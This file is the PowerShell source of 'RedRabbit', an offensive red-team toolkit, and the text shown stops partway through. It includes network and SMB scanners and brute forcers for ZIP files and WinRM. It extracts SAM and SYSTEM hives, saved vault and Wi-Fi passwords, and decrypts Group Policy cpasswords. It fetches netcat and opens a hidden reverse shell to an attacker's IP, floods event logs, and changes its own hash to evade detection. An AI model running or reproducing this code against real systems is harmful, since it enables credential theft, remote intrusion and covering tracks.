Get-Random -Maximum 9999999 | Out-File -Append ($PSScriptRoot + "\" + $MyInvocation.MyCommand.Name) $l1 = @(' /| __ ██▀███ ▓█████ ▓█████▄ ██▀███ ▄▄▄ ▄▄▄▄ ▄▄▄▄ ██▓▄▄▄█████▓ / | / / ▓██ ▒ ██▒▓█ ▀ ▒██▀ ██▌▓██ ▒ ██▒▒████▄ ▓█████▄ ▓█████▄ ▓██▒▓ ██▒ ▓▒ Y | // / ▓██ ░▄█ ▒▒███ ░██ █▌▓██ ░▄█ ▒▒██ ▀█▄ ▒██▒ ▄██▒██▒ ▄██▒██▒▒ ▓██░ ▒░ | | /( .^ ▒██▀▀█▄ ▒▓█ ▄ ░▓█▄ ▌▒██▀▀█▄ ░██▄▄▄▄██ ▒██░█▀ ▒██░█▀ ░██░░ ▓██▓ ░ >-"~"-v" ░██▓ ▒██▒░▒████▒░▒████▓ ░██▓ ▒██▒ ▓█ ▓██▒░▓█ ▀█▓░▓█ ▀█▓░██░ ▒██▒ ░ / Y ░ ▒▓ ░▒▓░░░ ▒░ ░ ▒▒▓ ▒ ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░▒▓███▀▒░▒▓███▀▒░▓ ▒ ░░ / X < | ░▒ ░ ▒░ ░ ░ ░ ░ ▒ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░▒░▒ ░ ▒░▒ ░ ▒ ░ ░ ( ~T~ j ░░ ░ ░ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░ ░ >._-'' _./ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ / "~" | ░ ░ ░ Y _, | /| ;-"~ _ l / l/ ,-"~ \ Creator: https://xstag0.com / @xstag0 \//\/ .- \ l RR! / Y / I ! \ _\ /"\ (" ~----( ~ Y. ))') $l1; # Section 1 $h = hostname $u = $env:UserName $d = (Get-CimInstance Win32_ComputerSystem).Domain $sesh = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if ($sesh -eq "True"){ $sessionadmin = "Admin Session" $tc = "Green" } else { $sessionadmin = "User Session" $tc = "Red" } if ($d -eq "WORKGROUP"){ $dom = "WORKGROUP" $dtc = "Red" } else { $a = net group "domain admins" /domain $idom = select-string -pattern "$u" -InputObject $a if ($idom -eq $null){ $dom = "False" $dtc = "Red" } else { $dom = "True" $dtc = "Green" } } Write-Host " Current User: $u | Current Machine: $h" Write-Host " Session: " -NoNewline ; Write-Host "$sessionadmin " -ForegroundColor $tc -NoNewline ; Write-Host " | Domain Admin: " -NoNewline ; Write-Host "$dom" -ForegroundColor $dtc Write-Host "" while($true){ $option = Read-Host -Prompt "[RedRabbit]:" if ($option -eq "exit"){ exit } if ($option -eq "h" -or $option -eq "help"){ $help = (' Please enter one of the following numbers | Options with * require admin Enter "CH" for cloud options Enter "exit" to end RedRabbit Option 1: Quick Recon Option 10: Encode / Decode Commands (Base64) Option 2: Subnet Scanner * Option 11: Query DLLs Option 3: SMB Scanner Option 12: Reverse Shell (Netcat) Option 4: Network Scanner Option 13: Scan Socials For Usernames Option 5: NetBios Scanner Option 14: Flood Powershell Event Logs Option 6: DNS Resolver Option 15: PassVol Search Option 7: Brute Force ZIP Option 16: File / Web Crawler Option 8: Brute Force WinRM Option 17: KeyLogger Option 9: Password Extraction Option 18: Clipboard Logger --------------------------------- Option 19: Scan Gateway Option 23: Bad LAPS Option 20: Find SPNs (KerbRoast) Option 21: Pulse Option 22: LDAP AD Scan ') $help } # End Of Help if ($option -eq "ch" -or $option -eq "cloud options"){ $cloudhelp = (' Please enter one of the following numbers Enter "exit" to end RedRabbit Azure AD * Requires Azure-AD and AZAD Modules Option AzAD1: Show AZAD Tenant Details Option AzAD2: Show AZAD Admin Roles Azure Cloud * Requires AZ Module Option Az1: Pull Azure Keys Option Az2: User Adminstrators (Self-Elevate) ') $cloudhelp } # End Of Cloud Options if ($option -eq "1"){ $user = whoami $currenthost = hostname $networkinfo = (Get-NetIPAddress).IPAddress $Publicip = (Invoke-WebRequest http://ipinfo.io/ip).content $org = (Get-CimInstance Win32_OperatingSystem).Organization Write-Output "" Write-Host " User: $user" Write-Host " Hostname: $currenthost" Write-Host " Public IP: " -NoNewline; Write-Host $Publicip write-host " Organization: $org" Write-Output "" Write-Host " [*] Getting AntiVirus ... " Start-Sleep -Seconds 2 try { Get-CimInstance -Namespace root/securitycenter2 -ClassName antivirusproduct | Select-Object displayName | Format-Table -HideTableHeaders } catch{ write-host "Failed To Get AntiVirus" -ForegroundColor Red } Write-Output "" Write-Host " [*] Getting Network IP/s ..." Start-Sleep -Seconds 2 Write-Output "" $networkinfo Write-Output "" $lad = @(Get-CimInstance win32_useraccount | Select-Object name,sid) foreach ($l in $lad){ [string]$sid = $l.sid if ($sid.EndsWith("500")){ $ladstatus = (Get-CimInstance win32_useraccount | Where-Object {$_.name -like $l.name}).Disabled if ($ladstatus -eq "True"){ $c = "Red" } else { $c = "Green" } Write-Host " [*] Getting Local Admin ..." Start-Sleep -Seconds 2 Write-Host " Local Admin Found: " -NoNewline ; Write-Host $l.name -ForegroundColor Green -NoNewline ; Write-Host " | isDisabled: " -NoNewline ; Write-Host $ladstatus -ForegroundColor $c } } Write-Output "" Write-Host " [*] Getting Current Logged In Users ... " Start-Sleep -Seconds 2 Write-Output "" query user /server:$SERVER Write-Output "" Write-Host " [*] Getting Program Directories ... " Start-Sleep -Seconds 2 $allprogs = @() $progs = @((get-childitem "c:\program files").Name) $progs32 = @((get-childitem "c:\Program Files (x86)").Name) $allprogs += $progs ; $allprogs += $progs32 Write-Output "" foreach ($pn in $allprogs){ if ($pn -notlike "*Windows*" -and $pn -notlike "*Microsoft*"){ Write-Host $pn -ForegroundColor Green } else { Write-Host $pn } } Write-Output "" Write-Host " [*] Getting SMB Shares ... " Start-Sleep -Seconds 2 Write-Output "" Get-SmbShare | Format-Table -HideTableHeaders Write-Output "" Write-Host " [*] Getting " -NoNewline ; Write-Host "Blocked" -ForegroundColor Red -NoNewline ; Write-Host " Firewall Rules...." Write-Output "" Get-NetFirewallRule | Where-Object Action -eq "Block" | Format-Table DisplayName,Enabled,Profile,Direction,Action,Name Write-Output "" } # End Option 1 if ($option -eq "2"){ $subnet = (Get-NetRoute -DestinationPrefix 0.0.0.0/0).NextHop $manyips = $subnet.Length if($manyips -eq 2){ $subnet = (Get-NetRoute -DestinationPrefix 0.0.0.0/0).NextHop[1] } $subnetrange = $subnet.Substring(0,$subnet.IndexOf('.') + 1 + $subnet.Substring($subnet.IndexOf('.') + 1).IndexOf('.') + 3) $isdot = $subnetrange.EndsWith('.') if ($isdot -like "False"){ $subnetrange = $subnetrange + '.' } $iprange = @(1..254) Write-Output "" Write-Host " [*] Current Network: $subnet" Write-Host " [*] Scanning: " -NoNewline ; Write-Host $subnetrange -NoNewline; Write-Host "0/24" -ForegroundColor Red Write-Output "" foreach ($i in $iprange){ $currentip = $subnetrange + $i $islive = test-connection $currentip -Quiet -Count 1 if ($islive -eq "True"){ try{$dnstest = (Resolve-DnsName $currentip -ErrorAction SilentlyContinue).NameHost}catch{} if ($dnstest -like "*.home") { $dnstest = $dnstest -replace ".home","" } Write-Output "" Write-Host " Host is Reachable: " -NoNewline ; Write-Host $currentIP -ForegroundColor Green -NoNewline ; Write-Host " | DNS: $dnstest" $portstoscan = @(20,21,22,23,25,50,51,53,80,110,119,135,136,137,138,139,143,161,162,389,443,445,636,1025,1443,3389,5985,5986,8080,10000) $waittime = 100 foreach ($p in $portstoscan){ $TCPObject = new-Object system.Net.Sockets.TcpClient try{$result = $TCPObject.ConnectAsync($currentip,$p).Wait($waittime)}catch{} if ($result -eq "True"){ Write-Host " Port Open: " -NoNewline ; Write-Host $p -ForegroundColor Green } } Write-Output "" } else { Write-Host " Failed To Scan $currentip" -ForegroundColor Red } } } # End of option 2 if ($option -eq "3"){ $listsmb = @() $lops = @(' List Of Options: 1: Single Host 2: Current Subnet 3: Multiple Hosts (Requires txt file) ') $lops $op = Read-Host " [Option]:" Write-Output "" if ($op -eq "1"){ $sh = Read-Host -Prompt " [Single Host]:" Write-Output "" try { $TCPObject = new-Object system.Net.Sockets.TcpClient $result = $TCPObject.ConnectAsync($sh,445).Wait(100) } catch { } if ($result -eq "True"){ Write-Host " SMB Host Found: " -NoNewline ; Write-Host $sh -NoNewline -ForegroundColor Green ; Write-Host " Adding To List....." $listsmb += $sh } else { Write-Host " SMB Port Closed On: $sh" -ForegroundColor Red } } if ($op -eq "2"){ $subnet = (Get-NetRoute -DestinationPrefix 0.0.0.0/0).NextHop $manyips = $subnet.Length if($manyips -eq 2){ $subnet = (Get-NetRoute -DestinationPrefix 0.0.0.0/0).NextHop[1] } $subnetrange = $subnet.Substring(0,$subnet.IndexOf('.') + 1 + $subnet.Substring($subnet.IndexOf('.') + 1).IndexOf('.') + 3) $isdot = $subnetrange.EndsWith('.') if ($isdot -like "False"){ $subnetrange = $subnetrange + '.' } Write-Host " [*] Getting Subnet ..." Write-Host " [*] Subnet: " -NoNewline ; Write-Host $subnetrange -NoNewline ; Write-Host "0/24" $iprange = @(1..254) Write-Host " [*] Scanning For Live Hosts.... " Write-Output "" foreach ($lip in $iprange){ $cip = $subnetrange + $lip try { $TCPObject = new-Object system.Net.Sockets.TcpClient $result = $TCPObject.ConnectAsync($cip,445).Wait(100) } catch { } if ($result -eq "True"){ Write-Host " SMB Host Found: " -NoNewline ; Write-Host $cip -NoNewline -ForegroundColor Green ; Write-Host " Adding To List....." $listsmb += $cip } } } if ($op -eq "3"){ $tf = Read-Host -Prompt " [File Location]:" Write-Output "" $tp = Test-Path -Path $tf if ($tp -eq "True" -and $tf.EndsWith(".txt")){ $tcon = @(Get-Content -Path $tf) Write-Host " [*] Collecting Hosts From List..." Write-Host " [*] Number of Hosts Collected: " -NoNewline ; Write-Host $tcon.Count -ForegroundColor Green Write-Host " [*] Scanning For Live Hosts.... " Write-Output "" foreach ($tip in $tcon){ try { $result = $TCPObject.ConnectAsync($tip,445).Wait(100) } catch { } if ($result -eq "True"){ Write-Host " SMB Host Found: " -NoNewline ; Write-Host $tip -NoNewline -ForegroundColor Green ; Write-Host " Adding To List....." $listsmb += $tip } else { Write-Host " SMB Port Closed On: $tip" -ForegroundColor Red } } } else { Write-Host " File Not Found... Exiting " -ForegroundColor Red } } if (($listsmb.Count) -ne 0){ foreach ($i in $listsmb){ Write-Output "" Write-Host " [*] Starting SMB Scan ..." Write-Output "" Write-Host " Scanning: " -NoNewline ; Write-Host $i -ForegroundColor Green Write-Output "" $shrs = @(net view \\$i /all | select -Skip 7 | ?{$_ -match 'disk*'} | %{$_ -match '^(.+?)\s+Disk*'|out-null;$matches[1]}) Write-Host " [*] Shares Found: " -NoNewline ; Write-Host $shrs.Count -ForegroundColor Green foreach ($shr in $shrs){ Write-Host " [*] Probing: \\$i\$shr" $probe = Test-Path "\\$i\$shr" -ErrorAction SilentlyContinue if ($probe -eq $true){ Get-ChildItem "\\$i\$shr" -ErrorAction SilentlyContinue } } } } Write-Output "" } # End Of Option 3 if ($option -eq "4"){ $ScanAll = "" $waittime = 400 $liveports = @() $destip = @() $Portarray = @(20,21,22,23,25,50,51,53,80,110,119,135,136,137,138,139,143,161,162,389,443,445,636,1025,1443,3389,5985,5986,8080,10000) $scanoptions = @(' Enter One Of The Following: * Enter An IP Address * Enter A Hostname (DNS) * Enter A IP List Location (Only TXT Files Supported) ') $scanoptions [string]$Typeofscan = Read-Host -Prompt " [Target/s]:" if (($Typeofscan).EndsWith(".txt")) { $PulledIPs = Get-Content $Typeofscan foreach ($i in $PulledIPs) { $destip += $i } } else { $destip += $Typeofscan } write-output "" Write-Host " [*] Hosts To Scan: " -NoNewline ; Write-Host $destip.count -ForegroundColor Green $portopts = @(' Scanning Options: 1. Common Scan 2. Full Scan (1-65535) 3. Quick Full Scan (Less Accurate) ') $portopts $ScanPorts = Read-Host -Prompt " [Scanning Option]:" if ($ScanPorts -eq 1) {$ScanAll = ""} if ($ScanPorts -eq 2) {$ScanAll = "True"} if ($ScanPorts -eq 3) {$ScanAll = "Quick"} if ($ScanPorts -ne 1 -AND $ScanPorts -ne 2 -AND $ScanPorts -ne 3){exit} Write-Output "" if ($ScanAll -eq "True") { $waittime = 400 $Portarray = 1..65535 Write-Host " [*] All Ports Selected" } if ($ScanAll -eq "Quick") { $waittime = 40 $Portarray = 1..65535 Write-Host " [*] Quick Scan Selected" } else { Write-Host " [*] Common Scan Selected" } Write-Output "" Write-Host " [*] Hosts to Scan: " -NoNewline ; Write-Host $destip.Count -ForegroundColor Green Write-Host " [*] Starting Scan ..." foreach ($i in $destip){ Write-Host " [*] Scanning: $i ..." foreach ($p in $Portarray){ $TCPObject = new-Object system.Net.Sockets.TcpClient try { $Result = $TCPObject.ConnectAsync($i,$p).Wait($waittime) } catch { } if ($Result -eq "True") { $liveports += $p } } # For each Array if ($liveports.Count -eq 0) { Write-Output "" Write-Host " Failed To Scan : $i" -ForegroundColor Red } else { Write-Output "" Write-Host " Target: " -NoNewline ; Write-Host $i -ForegroundColor Green Write-Output "" Write-Host " Scan Result: " Write-Output "" foreach ($pff in $liveports){ Write-Host " Port: " -NoNewline ; Write-Host $pff -ForegroundColor Green } } Write-Output "" #Clear Array for next $liveports = @() } # For Each $i in DestIP } # End of Option 4 if ($option -eq "5"){ $destip = @() $scanoptions = @(' Enter One Of The Following: * Enter An IP Address * Enter A Hostname (DNS) * Enter A IP List (Only TXT Files Supported) ') $scanoptions [string]$Typeofscan = Read-Host -Prompt " [Target/s]:" if (($Typeofscan).EndsWith(".txt")) { $PulledIPs = Get-Content $Typeofscan foreach ($i in $PulledIPs) { $destip += $i } } else { $destip += $Typeofscan } write-output "" Write-Host " [*] Hosts To Scan: " -NoNewline ; Write-Host $destip.count -ForegroundColor Green Write-Output "" Write-Output " [*] Starting Scan ..." foreach ($i in $destip){ Write-Host " [*] Scanning: $i ..." $ntbios = @(137,138,139) $count = 0 $waittime = 400 foreach ($p in $ntbios){ $TCPObject = new-Object system.Net.Sockets.TcpClient try{$result = $TCPObject.ConnectAsync($currentip,$p).Wait($waittime)}catch{} if ($result -ne "True"){ Write-Host " Host Not Reachable On Netbios ($p): " -NoNewline ; Write-Host $i -ForegroundColor Red } else { if ($i -contains "."){ $nts = "/A" } else { $nts = "/a" } nbtstat $nts $i Write-Output "" Write-Host " [*] Attempting Null Session ..." Write-Output "" $nses = net use \\$i\IPC$ "" /user: 2>null if ($nses -eq $null) { Write-Host " Failed Null Session on $i" -ForegroundColor Red } else { Write-Host " Null Session May Be Possible" -ForegroundColor Green } } } } Write-Output "" } # End of Option 5 if ($option -eq "6"){ $dnsts = @() $dnsopt = @(' Resolving Options: * Enter An IP Address * Enter A IP List Location (Only TXT Files Supported) ') $dnsopt [string]$dnso = Read-Host -Prompt " [Target/s]:" $dnsservo = @(' DNS Server Option: 1. Resolve Using Internal DNS 2. Resolve Using External DNS (8.8.8.8) ') $dnsservo $dnsserv = Read-Host -Prompt " [DNS Server]:" Write-Output "" if ($dnso -like "*txt") { $dnsts += Get-Content $dnso } else { $dnsts += $dnso } Write-Host " [*] Starting Resolver ..." Write-Output "" foreach ($dnsh in $dnsts){ if ($dnsserv -eq 1){ $dnsres = Resolve-DnsName $dnsh -erroraction SilentlyContinue } else { $dnsres = Resolve-DnsName $dnsh -Server 8.8.8.8 -erroraction SilentlyContinue } if ($dnsres -eq $null){ Write-Host " Failed To Resolve: $dnsh" -ForegroundColor Red } else { Write-Host " Target:" -NoNewline ; Write-Host $dnsh -ForegroundColor Green $dnsres | Format-Table Write-Output "" } } Write-Output "" } # End of Option 6 if ($option -eq "7"){ $7z = "C:\Program Files\7-Zip\7z.exe" $testifinstalled = Test-Path "$7z" $Thepasswordis = $null Write-Host " [*] Checking If 7Zip is Installed ..." if ($testifinstalled -eq "True") { Write-Host " [*] 7Zip Installed " -ForegroundColor Green Write-Output "" $ziploc = Read-Host -Prompt " [Zip File Location]:" $Passwordlist = Read-Host -Prompt " [Word List Location]:" $passwords = @(Get-Content $Passwordlist) Write-Host " [*] Starting Brute Force ..." foreach ($i in $passwords){ if ($Thepasswordis -eq $null){ $brute = & 'C:\Program Files\7-Zip\7z.exe' e "$ziploc" -p"$i" -y if ($brute -contains "Everything is Ok"){ $Thepasswordis = $i } else { Write-Host " Pasword: $i Failed" -ForegroundColor Red } } } # Foreach Rule if ($Thepasswordis -eq "") { Write-Output "" Write-Host " Brute Force Attack Failed ..." -ForegroundColor Red } else { Write-Output "" Write-Host " The Password Is: " -NoNewline ; Write-Host $Thepasswordis -ForegroundColor Green } } else { Write-Host " 7Zip Not Installed ..." -ForegroundColor Red Write-Output "" } } # End of Option 7 if ($option -eq "8"){ $targetcomputer = "" $targetuser = @() $targetpassword = @() Write-Host " [*] Prompting For Target Computer ..." $targetcomputer = Read-Host -Prompt " [Target]:" Write-Output "" Write-Host " [*] Scanning: $targetcomputer ..." $winrm = @(5985, 5986) $waittime = 400 foreach ($prt in $winrm){ $TCPObject = new-Object system.Net.Sockets.TcpClient try{$result = $TCPObject.ConnectAsync($targetcomputer,$prt).Wait($waittime)}catch{} if ($result -ne "True"){ Write-Host " Host Not Reachable On WinRm ($prt): " -NoNewline ; Write-Host $targetcomputer -ForegroundColor Red } elseif ($result -eq "True"){ Write-Host " [*] WinRM Reachable ..." -ForegroundColor Green $winrmoptions = @(' Enter One Of The Following: * Single Username * Multiple Users (Only TXT Files Supported) ') $winrmoptions [string]$useroption = Read-Host -Prompt " [Option]:" if ($useroption.EndsWith(".txt")){ $targetuser = @(Get-Content -Path $useroption) } else { $targetuser += $useroption } Write-Host " [*] Users to Scan: " -NoNewline ; Write-Host $targetuser.count -ForegroundColor Green Write-Output "" Write-Host " [*] Prompting For Password Word List For Brute (.TXT) ..." $passloc = Read-Host -Prompt " [Word List Location]:" $targetpassword = @(Get-Content -Path $passloc) Write-Output "" Write-Host " [*] Details Collected, Starting Brute ..." Write-Output "" foreach ($u in $targetuser) { $hackedpassword = $null foreach ($p in $targetpassword){ if ($hackedpassword -eq $null){ $crackedcreds = @() $Error.clear() $secpassword = ConvertTo-SecureString $p -AsPlainText -Force $mycredential = New-Object System.Management.Automation.PSCredential ($u, $secpassword) $result = Test-WSMan -ComputerName $targetcomputer -Credential $mycredential -Authentication Negotiate -erroraction SilentlyContinue if ($result -eq $null) { Write-Host "Failed Password: $p" -ForegroundColor Red } else { Write-Host "Password Found: " -NoNewline ; Write-Host $p -ForegroundColor Green $crackedcreds += $u + "::" + $p $hackedpassword = 1 } } # while null } # foreach password } # foreach user Write-Output "" if ($crackedcreds -ne $null) { Write-Host " [*] Listing Cracked Credentials ..." Write-Output $crackedcreds Write-Output "" } else { Write-Host " Brute Force Failed ..." -ForegroundColor Red Write-Output "" } } # End Of main loop else { #Scan next } } # End of Brute Write-Output "" } # End of Option 8 if ($option -eq "9"){ if ($sessionadmin -eq "Admin Session"){ Write-Host " [*] Admin Session Running ..." -ForegroundColor Green Write-Host " [*] Prompting For Extraction Location ..." $exportloc = Read-Host -Prompt " [Folder Location]:" if ($exportloc.EndsWith("\") -eq $false){ $exportloc = $exportloc + "\" } $sam = $exportloc + "sam" $sysl = $exportloc + "system" Write-Host " [*] Extracting SAM ..." Start-Sleep -Seconds 2 reg save hklm\sam $sam if ((Test-Path -Path $sam) -eq "true"){ Write-Host " [*] Extraction Of SAM: " -NoNewline ; Write-Host "Successful" -ForegroundColor Green } else { Write-Host " [*] Extraction Of SAM: " -NoNewline ; Write-Host "Failed" -ForegroundColor Red } Write-Host " [*] Extracting SYSTEM ..." Start-Sleep -Seconds 2 reg save hklm\system $sysl if ((Test-Path -Path $sysl) -eq "true"){ Write-Host " [*] Extraction Of SYSTEM: " -NoNewline ; Write-Host "Successful" -ForegroundColor Green } else { Write-Host " [*] Extraction Of SYSTEM: " -NoNewline ; Write-Host "Failed" -ForegroundColor Red } } else { Write-Output "" Write-Host " [*] Failed To Extract SAM/SYSTEM: Session Not Running As Admin ..." -ForegroundColor Red } Write-Output "" Write-Host " [*] Checking Credential Store ..." Start-Sleep -Seconds 2 Write-Output "" [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $a = @(New-Object Windows.Security.Credentials.PasswordVault) $a.RetrieveAll() | % { $_.RetrievePassword();$_ } Write-Output "" Write-Host " [*] Checking Saved Wireless Passwords ..." Start-Sleep -Seconds 2 Write-Output "" $a = netsh wlan show profile | Select-String -Pattern "All User Profile"; $a = $a-replace "All User Profile","" -replace " :",""; $a = $a.trim() Foreach ($i in $a){ $b = netsh wlan show profile $i key=clear | Select-String -Pattern "Key Content" $b = $b -replace "Key Content","" -replace " :","" try{ $b = $b.trim() Write-Host "Network Name: $i | " -NoNewline ; Write-Host " Password: " -NoNewline ; Write-Host $b -ForegroundColor Green } catch { # Do nothing } } Write-Output "" } # End Of Option 9 if ($option -eq "10"){ $edo = @(' Encoding Options: 1. Encoding Text 2. Decoding Text ') $edo $eop = Read-Host -Prompt " [Option]:" Write-Output "" if ($eop -eq 1){ Write-Host " [*] Encoding Option Selected ..." $et = Read-Host -Prompt " [Text To Encode]:" Write-Host " [*] Encoding Text ..." Start-Sleep -Seconds 2 $Bytes = [System.Text.Encoding]::Unicode.GetBytes($et) $EncodedText =[Convert]::ToBase64String($Bytes) if ($EncodedText -ne $null){ Write-Host " Successfully Encoded Text: " -ForegroundColor Green Write-Output "" $EncodedText Write-Output "" Set-Clipboard $EncodedText Write-Host " [*] Copied To Clipboard ..." } else { Write-Host "Failed To Encode ..." -ForegroundColor Red } } else { Write-Host " [*] Decoding Option Selected ..." $dt = Read-Host -Prompt " [Text To Decode]:" Write-Host " [*] Decoding Text ..." Start-Sleep -Seconds 2 $DecodedText = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($dt)) if ($DecodedText -ne $null){ Write-Host " Successfully Decoded Text: " -ForegroundColor Green Write-Output "" $DecodedText Write-Output "" Set-Clipboard $DecodedText Write-Host " [*] Copied To Clipboard ..." } else { Write-Host "Failed To Decode ..." -ForegroundColor Red } } } # End Of Option 10 if ($option -eq "11"){ if ($sessionadmin -ne "Admin Session"){ Write-Host " Session Requires Admin ..." -ForegroundColor Red } else { Write-Output "" Write-Host " [*] Tables Can Be Big, So Run so Maximize Window" -ForegroundColor Blue $edo = @(' DLL Options: 1. Query DLLs 2. Show Missing DLLs (With Permission) ') $edo $dllo = Read-Host -Prompt " [Option]:" Write-Output "" Write-Host " [*] Running Query ... " Write-Output "" If ($dllo -eq "1"){ Write-Host " [*] Prompting For Keyword (Use * To List All)" $q = Read-Host -Prompt " [Keyword]:" $a = @(Get-Process -IncludeUserName | Where-Object {$_.ProcessName -like "*$q*"} | Select-Object *) foreach ($l in $a){ $b = @($l.Modules.FileName) foreach ($m in $b){ $l | Select-Object name,path,username, {$m} } } } # Option 1 If ($dllo -eq "2"){ $a = @(Get-Process -IncludeUserName | Where-Object {$_.ProcessName -like "*"} | Select-Object *) $c = @() foreach ($l in $a){ $b = @($l.Modules.FileName) foreach ($m in $b){ if ($m -ne $null){ if ((Test-Path $m) -eq $false){ $cp = (Get-Acl ($m -replace ($l.Modules | Where-Object {$_.FileName -eq $m}).ModuleName,"") -ErrorAction SilentlyContinue).Access.IdentityReference | Where-Object {$_ -match ($env:username)} if ($cp -ne $null){ $c += $l | Select-Object name,path,username, {$m}, "true" Write-Host " Found One: " -NoNewline ; Write-Host $m -ForegroundColor Green } #cp null } # Test-path } # Null check } # Foreach m in b } if ($c -ne $null){ $c | Format-Table } else { Write-Host "No Missing DLLs Found" -ForegroundColor Red } } } } # End Of Option 11 if ($option -eq "12"){ Write-Output "" Write-Host " [*] Download Encoded NetCat ..." if ((Test-Path $env:TEMP\nc.exe.txt) -ne $true -and (Test-Path $env:TEMP\nc.exe) -ne $true){ Start-BitsTransfer -Source 'https://raw.githubusercontent.com/securethelogs/Powershell/master/Tools/nc.exe'-Destination $env:TEMP\nc.exe.txt certutil -decode $env:TEMP\nc.exe.txt $env:TEMP\nc.exe Write-Output "" } $downnet = Test-Path -Path $env:TEMP\nc.exe -ErrorAction SilentlyContinue if ($downnet -eq $true){ Write-Host " [*] Downloaded NetCat ..." -ForegroundColor Green Write-Host " [*] Prompting For Details ..." $atk = Read-Host -Prompt " [Attackers IP]:" $port = Read-Host -Prompt " [Attackers Port]:" Write-Output "" $seshnc = (Get-Process powershell).count Start-Process powershell -WindowStyle Hidden -ArgumentList "-nop $env:TEMP\nc.exe $atk $port -e cmd.exe" $hasrannc = (Get-Process powershell).count if ($hasrannc -gt $seshnc){ Write-Host " [*] Reverse Shell Is Running ..." -ForegroundColor Green Write-Output "" } else { Write-Host " Reverse Shell Failed ..." -ForegroundColor Red } } } # End Of Option 12 if ($option -eq "13"){ Write-Output "" $userhandle = Read-Host -Prompt " [Username]:" $myArray = @( "https://twitter.com/$userhandle", "https://www.instagram.com/$userhandle/", "https://ws2.kik.com/user/$userhandle/", "https://medium.com/@$userhandle", "https://pastebin.com/u/$userhandle/", "https://www.patreon.com/$userhandle/", "https://photobucket.com/user/$userhandle/library", "https://www.pinterest.com/$userhandle/", "https://myspace.com/$userhandle/", "https://www.reddit.com/user/$userhandle/" ) Write-Output "" Write-Host " [*] Running Checks ..." Write-Output "" foreach ($i in $myArray) { try { $response = Invoke-WebRequest -Uri "$i" -UseBasicParsing -ErrorAction Stop $StatusCode = $Response.StatusCode } catch { $StatusCode = $_.Exception.Response.StatusCode.value__ } if ($StatusCode -eq "200"){ Write-Host "Found one: " -NoNewline ; Write-Host $i -ForegroundColor Green } if ($StatusCode -eq "404"){ #Site Does Not Exist - Do Nothing } else { #Do Nothing } } Write-Output "" } # End Of Option 13 if ($option -eq "14"){ $flood = @(' _.====.._ ,:._ ~-_ `\ ~-_ | _\ \ | `. ,/ / | | ~-_ -..__..-'' _ _ `_ ~~--..__...----... FLOOOODING ... ') Write-Host $flood -ForegroundColor Blue Start-Process powershell -ArgumentList 'while($true){$a = Get-Random; Invoke-Command -ArgumentList $a -ScriptBlock {$args[0]}}' } # End Of Option 14 if ($option -eq "15"){ Write-Output "" if (((Get-WmiObject Win32_ComputerSystem).Domain) -eq "WORKGROUP"){ Write-Host " Requires Domain Joined Machine ..." -ForegroundColor Red } else { $xmls = @() $cpass = @() $dom = @((Get-DnsClientGlobalSetting).SuffixSearchList) foreach ($dmn in $dom){ $fnd = @(Get-Childitem -Path \\$dmn\sysvol\$dmn\Policies -Recurse -force -ErrorAction SilentlyContinue -Include *.xml*) foreach ($d in $fnd.Fullname){ $cp = Get-Content -Path $d | Select-String -Pattern "cpassword" if ($cp -ne $null){ $xmls += $d } } } foreach ($f in $xmls){ $regex = ‘cpassword=".*\"’ $a = select-string -Path $f -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } $password = @($a.Split(" ")[0] -replace "cpassword=", "" -replace '"', "") $cpass += $password } $count = 0 foreach ($Cpassword in $cpass){ Write-Output "" Write-Host "Password Found In: " Write-Host $xmls[$count] -ForegroundColor Green try { $Mod = ($Cpassword.length % 4) switch ($Mod) { '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} '2' {$Cpassword += ('=' * (4 - $Mod))} '3' {$Cpassword += ('=' * (4 - $Mod))} } $Base64Decoded = [Convert]::FromBase64String($Cpassword) $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) Write-Output "" Write-Output "Password:" [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) } catch {Write-Error $Error[0]} $count++ } } } # End Of Option 15 if ($option -eq "16"){ $wcrls = @() $cwlo = @(' Crawler Options: 1. Web Crawler 2. File Crawler ') $cwlo $cwlc = Read-Host -Prompt " [Option]:" if ($cwlc -eq "1"){ Write-Output "" Write-Host " [*] Prompting For URL ..." $url = Read-Host -Prompt " [URL]:" if ($url.EndsWith("/") -eq $false){ $url = $url + "/" } if ($url.StartsWith("http") -eq $false){ $url = "http://" + $url } Write-Output "" Write-Host " [*] Prompting For Wordlist To Crawl Site ..." $wordlist = @(Get-Content -Path (Read-Host -Prompt " [Location Of Wordlist]:")) Write-Output "" Write-Host " [*] Would You Like To See Fails? (Y/N) ..." $sf = Read-Host -Prompt " [Show Fails]:" Write-Output "" foreach ($i in $wordlist){ $crawlurl = $url + $i $f = $false try{ $crawl = Invoke-WebRequest $crawlurl -UseBasicParsing }catch{ $f = $true if ($sf -eq "y"){ Write-Host "Failed: $crawlurl" -ForegroundColor Red } else { # Do Nothing } } if ($crawl.statuscode -ne $null -and $f -eq $false){ $code = $crawl.statuscode Write-Host "$crawlurl : Code: $code" -ForegroundColor Green $wcrls += $crawlurl } } # Wordlist Write-Output "" Write-Host " [*] Paths Discovered ..." foreach ($ss in $wcrls){ Write-Host $ss -ForegroundColor Green } } else { $filesfound = @() $wordsfound = @() $keywrdfound = @() Write-Output "" $cwlfo = @(' Crawler Options: 1. Crawl For File Names 2. Crawl Using Keywords Within Content ') $cwlfo $crlop = Read-Host -Prompt " [Option]:" if ($crlop -eq "1"){ Write-Output 